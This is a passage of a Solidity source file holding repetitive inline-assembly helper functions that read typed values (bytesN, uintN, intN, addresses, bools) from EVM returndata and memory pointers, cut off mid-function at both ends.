bytes21 at `rdPtr` in returndata.\n function readBytes21(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes22 at `rdPtr` in returndata.\n function readBytes22(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes23 at `rdPtr` in returndata.\n function readBytes23(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes24 at `rdPtr` in returndata.\n function readBytes24(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes25 at `rdPtr` in returndata.\n function readBytes25(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes26 at `rdPtr` in returndata.\n function readBytes26(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes27 at `rdPtr` in returndata.\n function readBytes27(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes28 at `rdPtr` in returndata.\n function readBytes28(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes29 at `rdPtr` in returndata.\n function readBytes29(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes30 at `rdPtr` in returndata.\n function readBytes30(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes31 at `rdPtr` in returndata.\n function readBytes31(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the bytes32 at `rdPtr` in returndata.\n function readBytes32(\n ReturndataPointer rdPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint8 at `rdPtr` in returndata.\n function readUint8(\n ReturndataPointer rdPtr\n ) internal pure returns (uint8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint16 at `rdPtr` in returndata.\n function readUint16(\n ReturndataPointer rdPtr\n ) internal pure returns (uint16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint24 at `rdPtr` in returndata.\n function readUint24(\n ReturndataPointer rdPtr\n ) internal pure returns (uint24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint32 at `rdPtr` in returndata.\n function readUint32(\n ReturndataPointer rdPtr\n ) internal pure returns (uint32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint40 at `rdPtr` in returndata.\n function readUint40(\n ReturndataPointer rdPtr\n ) internal pure returns (uint40 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint48 at `rdPtr` in returndata.\n function readUint48(\n ReturndataPointer rdPtr\n ) internal pure returns (uint48 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint56 at `rdPtr` in returndata.\n function readUint56(\n ReturndataPointer rdPtr\n ) internal pure returns (uint56 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint64 at `rdPtr` in returndata.\n function readUint64(\n ReturndataPointer rdPtr\n ) internal pure returns (uint64 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint72 at `rdPtr` in returndata.\n function readUint72(\n ReturndataPointer rdPtr\n ) internal pure returns (uint72 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint80 at `rdPtr` in returndata.\n function readUint80(\n ReturndataPointer rdPtr\n ) internal pure returns (uint80 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint88 at `rdPtr` in returndata.\n function readUint88(\n ReturndataPointer rdPtr\n ) internal pure returns (uint88 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint96 at `rdPtr` in returndata.\n function readUint96(\n ReturndataPointer rdPtr\n ) internal pure returns (uint96 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint104 at `rdPtr` in returndata.\n function readUint104(\n ReturndataPointer rdPtr\n ) internal pure returns (uint104 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint112 at `rdPtr` in returndata.\n function readUint112(\n ReturndataPointer rdPtr\n ) internal pure returns (uint112 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint120 at `rdPtr` in returndata.\n function readUint120(\n ReturndataPointer rdPtr\n ) internal pure returns (uint120 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint128 at `rdPtr` in returndata.\n function readUint128(\n ReturndataPointer rdPtr\n ) internal pure returns (uint128 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint136 at `rdPtr` in returndata.\n function readUint136(\n ReturndataPointer rdPtr\n ) internal pure returns (uint136 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint144 at `rdPtr` in returndata.\n function readUint144(\n ReturndataPointer rdPtr\n ) internal pure returns (uint144 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint152 at `rdPtr` in returndata.\n function readUint152(\n ReturndataPointer rdPtr\n ) internal pure returns (uint152 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint160 at `rdPtr` in returndata.\n function readUint160(\n ReturndataPointer rdPtr\n ) internal pure returns (uint160 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint168 at `rdPtr` in returndata.\n function readUint168(\n ReturndataPointer rdPtr\n ) internal pure returns (uint168 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint176 at `rdPtr` in returndata.\n function readUint176(\n ReturndataPointer rdPtr\n ) internal pure returns (uint176 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint184 at `rdPtr` in returndata.\n function readUint184(\n ReturndataPointer rdPtr\n ) internal pure returns (uint184 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint192 at `rdPtr` in returndata.\n function readUint192(\n ReturndataPointer rdPtr\n ) internal pure returns (uint192 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint200 at `rdPtr` in returndata.\n function readUint200(\n ReturndataPointer rdPtr\n ) internal pure returns (uint200 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint208 at `rdPtr` in returndata.\n function readUint208(\n ReturndataPointer rdPtr\n ) internal pure returns (uint208 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint216 at `rdPtr` in returndata.\n function readUint216(\n ReturndataPointer rdPtr\n ) internal pure returns (uint216 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint224 at `rdPtr` in returndata.\n function readUint224(\n ReturndataPointer rdPtr\n ) internal pure returns (uint224 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint232 at `rdPtr` in returndata.\n function readUint232(\n ReturndataPointer rdPtr\n ) internal pure returns (uint232 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint240 at `rdPtr` in returndata.\n function readUint240(\n ReturndataPointer rdPtr\n ) internal pure returns (uint240 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint248 at `rdPtr` in returndata.\n function readUint248(\n ReturndataPointer rdPtr\n ) internal pure returns (uint248 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the uint256 at `rdPtr` in returndata.\n function readUint256(\n ReturndataPointer rdPtr\n ) internal pure returns (uint256 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int8 at `rdPtr` in returndata.\n function readInt8(\n ReturndataPointer rdPtr\n ) internal pure returns (int8 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int16 at `rdPtr` in returndata.\n function readInt16(\n ReturndataPointer rdPtr\n ) internal pure returns (int16 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int24 at `rdPtr` in returndata.\n function readInt24(\n ReturndataPointer rdPtr\n ) internal pure returns (int24 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int32 at `rdPtr` in returndata.\n function readInt32(\n ReturndataPointer rdPtr\n ) internal pure returns (int32 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int40 at `rdPtr` in returndata.\n function readInt40(\n ReturndataPointer rdPtr\n ) internal pure returns (int40 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int48 at `rdPtr` in returndata.\n function readInt48(\n ReturndataPointer rdPtr\n ) internal pure returns (int48 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int56 at `rdPtr` in returndata.\n function readInt56(\n ReturndataPointer rdPtr\n ) internal pure returns (int56 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int64 at `rdPtr` in returndata.\n function readInt64(\n ReturndataPointer rdPtr\n ) internal pure returns (int64 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int72 at `rdPtr` in returndata.\n function readInt72(\n ReturndataPointer rdPtr\n ) internal pure returns (int72 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int80 at `rdPtr` in returndata.\n function readInt80(\n ReturndataPointer rdPtr\n ) internal pure returns (int80 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int88 at `rdPtr` in returndata.\n function readInt88(\n ReturndataPointer rdPtr\n ) internal pure returns (int88 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int96 at `rdPtr` in returndata.\n function readInt96(\n ReturndataPointer rdPtr\n ) internal pure returns (int96 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int104 at `rdPtr` in returndata.\n function readInt104(\n ReturndataPointer rdPtr\n ) internal pure returns (int104 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int112 at `rdPtr` in returndata.\n function readInt112(\n ReturndataPointer rdPtr\n ) internal pure returns (int112 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int120 at `rdPtr` in returndata.\n function readInt120(\n ReturndataPointer rdPtr\n ) internal pure returns (int120 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int128 at `rdPtr` in returndata.\n function readInt128(\n ReturndataPointer rdPtr\n ) internal pure returns (int128 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int136 at `rdPtr` in returndata.\n function readInt136(\n ReturndataPointer rdPtr\n ) internal pure returns (int136 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int144 at `rdPtr` in returndata.\n function readInt144(\n ReturndataPointer rdPtr\n ) internal pure returns (int144 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int152 at `rdPtr` in returndata.\n function readInt152(\n ReturndataPointer rdPtr\n ) internal pure returns (int152 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int160 at `rdPtr` in returndata.\n function readInt160(\n ReturndataPointer rdPtr\n ) internal pure returns (int160 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int168 at `rdPtr` in returndata.\n function readInt168(\n ReturndataPointer rdPtr\n ) internal pure returns (int168 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int176 at `rdPtr` in returndata.\n function readInt176(\n ReturndataPointer rdPtr\n ) internal pure returns (int176 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int184 at `rdPtr` in returndata.\n function readInt184(\n ReturndataPointer rdPtr\n ) internal pure returns (int184 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int192 at `rdPtr` in returndata.\n function readInt192(\n ReturndataPointer rdPtr\n ) internal pure returns (int192 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int200 at `rdPtr` in returndata.\n function readInt200(\n ReturndataPointer rdPtr\n ) internal pure returns (int200 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int208 at `rdPtr` in returndata.\n function readInt208(\n ReturndataPointer rdPtr\n ) internal pure returns (int208 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int216 at `rdPtr` in returndata.\n function readInt216(\n ReturndataPointer rdPtr\n ) internal pure returns (int216 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int224 at `rdPtr` in returndata.\n function readInt224(\n ReturndataPointer rdPtr\n ) internal pure returns (int224 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int232 at `rdPtr` in returndata.\n function readInt232(\n ReturndataPointer rdPtr\n ) internal pure returns (int232 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int240 at `rdPtr` in returndata.\n function readInt240(\n ReturndataPointer rdPtr\n ) internal pure returns (int240 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int248 at `rdPtr` in returndata.\n function readInt248(\n ReturndataPointer rdPtr\n ) internal pure returns (int248 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n\n /// @dev Reads the int256 at `rdPtr` in returndata.\n function readInt256(\n ReturndataPointer rdPtr\n ) internal pure returns (int256 value) {\n assembly {\n returndatacopy(0, rdPtr, _OneWord)\n value := mload(0)\n }\n }\n}\n\nlibrary MemoryReaders {\n /// @dev Reads the memory pointer at `mPtr` in memory.\n function readMemoryPointer(\n MemoryPointer mPtr\n ) internal pure returns (MemoryPointer value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads value at `mPtr` & applies a mask to return only last 4 bytes\n function readMaskedUint256(\n MemoryPointer mPtr\n ) internal pure returns (uint256 value) {\n value = mPtr.readUint256() & OffsetOrLengthMask;\n }\n\n /// @dev Reads the bool at `mPtr` in memory.\n function readBool(MemoryPointer mPtr) internal pure returns (bool value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the address at `mPtr` in memory.\n function readAddress(\n MemoryPointer mPtr\n ) internal pure returns (address value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes1 at `mPtr` in memory.\n function readBytes1(\n MemoryPointer mPtr\n ) internal pure returns (bytes1 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes2 at `mPtr` in memory.\n function readBytes2(\n MemoryPointer mPtr\n ) internal pure returns (bytes2 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes3 at `mPtr` in memory.\n function readBytes3(\n MemoryPointer mPtr\n ) internal pure returns (bytes3 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes4 at `mPtr` in memory.\n function readBytes4(\n MemoryPointer mPtr\n ) internal pure returns (bytes4 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes5 at `mPtr` in memory.\n function readBytes5(\n MemoryPointer mPtr\n ) internal pure returns (bytes5 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes6 at `mPtr` in memory.\n function readBytes6(\n MemoryPointer mPtr\n ) internal pure returns (bytes6 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes7 at `mPtr` in memory.\n function readBytes7(\n MemoryPointer mPtr\n ) internal pure returns (bytes7 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes8 at `mPtr` in memory.\n function readBytes8(\n MemoryPointer mPtr\n ) internal pure returns (bytes8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes9 at `mPtr` in memory.\n function readBytes9(\n MemoryPointer mPtr\n ) internal pure returns (bytes9 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes10 at `mPtr` in memory.\n function readBytes10(\n MemoryPointer mPtr\n ) internal pure returns (bytes10 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes11 at `mPtr` in memory.\n function readBytes11(\n MemoryPointer mPtr\n ) internal pure returns (bytes11 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes12 at `mPtr` in memory.\n function readBytes12(\n MemoryPointer mPtr\n ) internal pure returns (bytes12 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes13 at `mPtr` in memory.\n function readBytes13(\n MemoryPointer mPtr\n ) internal pure returns (bytes13 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes14 at `mPtr` in memory.\n function readBytes14(\n MemoryPointer mPtr\n ) internal pure returns (bytes14 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes15 at `mPtr` in memory.\n function readBytes15(\n MemoryPointer mPtr\n ) internal pure returns (bytes15 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes16 at `mPtr` in memory.\n function readBytes16(\n MemoryPointer mPtr\n ) internal pure returns (bytes16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes17 at `mPtr` in memory.\n function readBytes17(\n MemoryPointer mPtr\n ) internal pure returns (bytes17 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes18 at `mPtr` in memory.\n function readBytes18(\n MemoryPointer mPtr\n ) internal pure returns (bytes18 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes19 at `mPtr` in memory.\n function readBytes19(\n MemoryPointer mPtr\n ) internal pure returns (bytes19 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes20 at `mPtr` in memory.\n function readBytes20(\n MemoryPointer mPtr\n ) internal pure returns (bytes20 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes21 at `mPtr` in memory.\n function readBytes21(\n MemoryPointer mPtr\n ) internal pure returns (bytes21 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes22 at `mPtr` in memory.\n function readBytes22(\n MemoryPointer mPtr\n ) internal pure returns (bytes22 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes23 at `mPtr` in memory.\n function readBytes23(\n MemoryPointer mPtr\n ) internal pure returns (bytes23 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes24 at `mPtr` in memory.\n function readBytes24(\n MemoryPointer mPtr\n ) internal pure returns (bytes24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes25 at `mPtr` in memory.\n function readBytes25(\n MemoryPointer mPtr\n ) internal pure returns (bytes25 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes26 at `mPtr` in memory.\n function readBytes26(\n MemoryPointer mPtr\n ) internal pure returns (bytes26 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes27 at `mPtr` in memory.\n function readBytes27(\n MemoryPointer mPtr\n ) internal pure returns (bytes27 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes28 at `mPtr` in memory.\n function readBytes28(\n MemoryPointer mPtr\n ) internal pure returns (bytes28 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes29 at `mPtr` in memory.\n function readBytes29(\n MemoryPointer mPtr\n ) internal pure returns (bytes29 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes30 at `mPtr` in memory.\n function readBytes30(\n MemoryPointer mPtr\n ) internal pure returns (bytes30 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes31 at `mPtr` in memory.\n function readBytes31(\n MemoryPointer mPtr\n ) internal pure returns (bytes31 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the bytes32 at `mPtr` in memory.\n function readBytes32(\n MemoryPointer mPtr\n ) internal pure returns (bytes32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint8 at `mPtr` in memory.\n function readUint8(MemoryPointer mPtr) internal pure returns (uint8 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint16 at `mPtr` in memory.\n function readUint16(\n MemoryPointer mPtr\n ) internal pure returns (uint16 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint24 at `mPtr` in memory.\n function readUint24(\n MemoryPointer mPtr\n ) internal pure returns (uint24 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint32 at `mPtr` in memory.\n function readUint32(\n MemoryPointer mPtr\n ) internal pure returns (uint32 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint40 at `mPtr` in memory.\n function readUint40(\n MemoryPointer mPtr\n ) internal pure returns (uint40 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint48 at `mPtr` in memory.\n function readUint48(\n MemoryPointer mPtr\n ) internal pure returns (uint48 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint56 at `mPtr` in memory.\n function readUint56(\n MemoryPointer mPtr\n ) internal pure returns (uint56 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint64 at `mPtr` in memory.\n function readUint64(\n MemoryPointer mPtr\n ) internal pure returns (uint64 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint72 at `mPtr` in memory.\n function readUint72(\n MemoryPointer mPtr\n ) internal pure returns (uint72 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint80 at `mPtr` in memory.\n function readUint80(\n MemoryPointer mPtr\n ) internal pure returns (uint80 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint88 at `mPtr` in memory.\n function readUint88(\n MemoryPointer mPtr\n ) internal pure returns (uint88 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint96 at `mPtr` in memory.\n function readUint96(\n MemoryPointer mPtr\n ) internal pure returns (uint96 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint104 at `mPtr` in memory.\n function readUint104(\n MemoryPointer mPtr\n ) internal pure returns (uint104 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint112 at `mPtr` in memory.\n function readUint112(\n MemoryPointer mPtr\n ) internal pure returns (uint112 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint120 at `mPtr` in memory.\n function readUint120(\n MemoryPointer mPtr\n ) internal pure returns (uint120 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint128 at `mPtr` in memory.\n function readUint128(\n MemoryPointer mPtr\n ) internal pure returns (uint128 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint136 at `mPtr` in memory.\n function readUint136(\n MemoryPointer mPtr\n ) internal pure returns (uint136 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint144 at `mPtr` in memory.\n function readUint144(\n MemoryPointer mPtr\n ) internal pure returns (uint144 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint152 at `mPtr` in memory.\n function readUint152(\n MemoryPointer mPtr\n ) internal pure returns (uint152 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint160 at `mPtr` in memory.\n function readUint160(\n MemoryPointer mPtr\n ) internal pure returns (uint160 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint168 at `mPtr` in memory.\n function readUint168(\n MemoryPointer mPtr\n ) internal pure returns (uint168 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint176 at `mPtr` in memory.\n function readUint176(\n MemoryPointer mPtr\n ) internal pure returns (uint176 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint184 at `mPtr` in memory.\n function readUint184(\n MemoryPointer mPtr\n ) internal pure returns (uint184 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint192 at `mPtr` in memory.\n function readUint192(\n MemoryPointer mPtr\n ) internal pure returns (uint192 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint200 at `mPtr` in memory.\n function readUint200(\n MemoryPointer mPtr\n ) internal pure returns (uint200 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint208 at `mPtr` in memory.\n function readUint208(\n MemoryPointer mPtr\n ) internal pure returns (uint208 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint216 at `mPtr` in memory.\n function readUint216(\n MemoryPointer mPtr\n ) internal pure returns (uint216 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint224 at `mPtr` in memory.\n function readUint224(\n MemoryPointer mPtr\n ) internal pure returns (uint224 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint232 at `mPtr` in memory.\n function readUint232(\n MemoryPointer mPtr\n ) internal pure returns (uint232 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint240 at `mPtr` in memory.\n function readUint240(\n MemoryPointer mPtr\n ) internal pure returns (uint240 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint248 at `mPtr` in memory.\n function readUint248(\n MemoryPointer mPtr\n ) internal pure returns (uint248 value) {\n assembly {\n value := mload(mPtr)\n }\n }\n\n /// @dev Reads the uint256 at `mPtr` in memory.\n function readUint256(\n MemoryPointer mPtr\n ) internal pure returns (uint256 value) {\n assembly {\n value := 